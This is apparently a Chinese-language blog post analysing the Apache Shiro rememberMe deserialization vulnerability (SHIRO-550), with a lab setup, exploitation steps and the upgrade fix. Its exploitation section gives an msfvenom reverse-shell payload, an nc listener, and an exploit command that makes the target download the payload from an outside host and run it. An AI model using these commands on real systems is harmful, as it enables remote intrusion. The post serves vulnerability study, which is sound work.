Apache Shiro Java 反序列化漏洞分析及利用



  • Apache Shiro Java 反序列化漏洞分析及利用

    0x00 项目地址

    https://github.com/HexChristmas/Shiro_exploit

    0x01 概述

    这两天被派去护网&重保,态势感知报了一条冰蝎的远程代码执行的告警,在通过告警日志以及webshell及相关信息,红队大概是通过shiro反序列化拿到主机权限,之前一大佬还特别分享过shiro反序列化漏洞,还没来及研究就碰上了,正好这个机会研究分析一波,
    shiro用remembreme这个cookie对用户进行鉴权,防止出现越权问题,它使用CookieRemembreMeManager这个类,对这个remebreme这个cookie进行序列化,然后对这个字符流进行aes加密,在对其进行base64编码,然后在返回客户端remebreme Cookie,这其实是有问题的,shiro把aes的密钥硬编码在代码里,我们可以通过调试代码发现aes加码的密钥进行解密,使用ysoserial包进行反序列化的CommonsCollections2这个方法发现密钥进行解密,生成并返回带有远程代码执行的remebreme Cookie进而反弹shell

    0x02 漏洞环境

    方法一:Docker环境搭建

    这里可以直接pull大佬们做好的docker的漏洞环境

    docker pull medicean/vulapps:s_shiro_1
    

    将docker漏洞环境的8080端口映射到本机的80端口

    docker run -dit -p 81:8080 medicean/vulapps:s_shiro_1
    

    方法二:Linux虚拟机或者VPS搭建tomcat及shiro环境

    java环境啥的鸟都带了
    直接去tomcat官网去下载二进制包,不用百度了,这里直接给你百度完了,点击我进行跳转,Run!
    或者你直接可以

    sudo wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz /usr/share
    

    然后直接解压

    sudo tar zxvf apache-tomcat-8.5.43..tar.gz
    
    ./usr/share/apache-tomcat-8.5.43/bin/startup.sh
    

    我们现在只需把shiro包放到webapps下即可

    sudo cp shiro.war /usr/share/apache-tomcat-8.5.43/webapps
    

    然后访问

    localhost:8080/Shiro
    

    3|690x388
    能看到这个就说明你已经启动成功了

    0x02 漏洞利用

    用msfvenom生成payload用于反弹shell

    msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=2333 elf >  payload
    

    1|515x500
    nc监听2333端口

    nc -lvvp 2333
    

    使用shiro的脚本进行远程代码执行漏洞利用

    python shiro_exploit.py "http://127.0.0.1:81" "wget -p /tmp/ http://172.18.24.35/payload && chmod +x /tmp/payload && /tmp/payload"
    

    2|601x500

    0x03 漏洞修复

    升级 Shiro 版本至 1.2.5 以上

    0x4 参考文档

    https://issues.apache.org/jira/browse/SHIRO-550
    https://www.seebug.org/vuldb/ssvid-92180


Log in to reply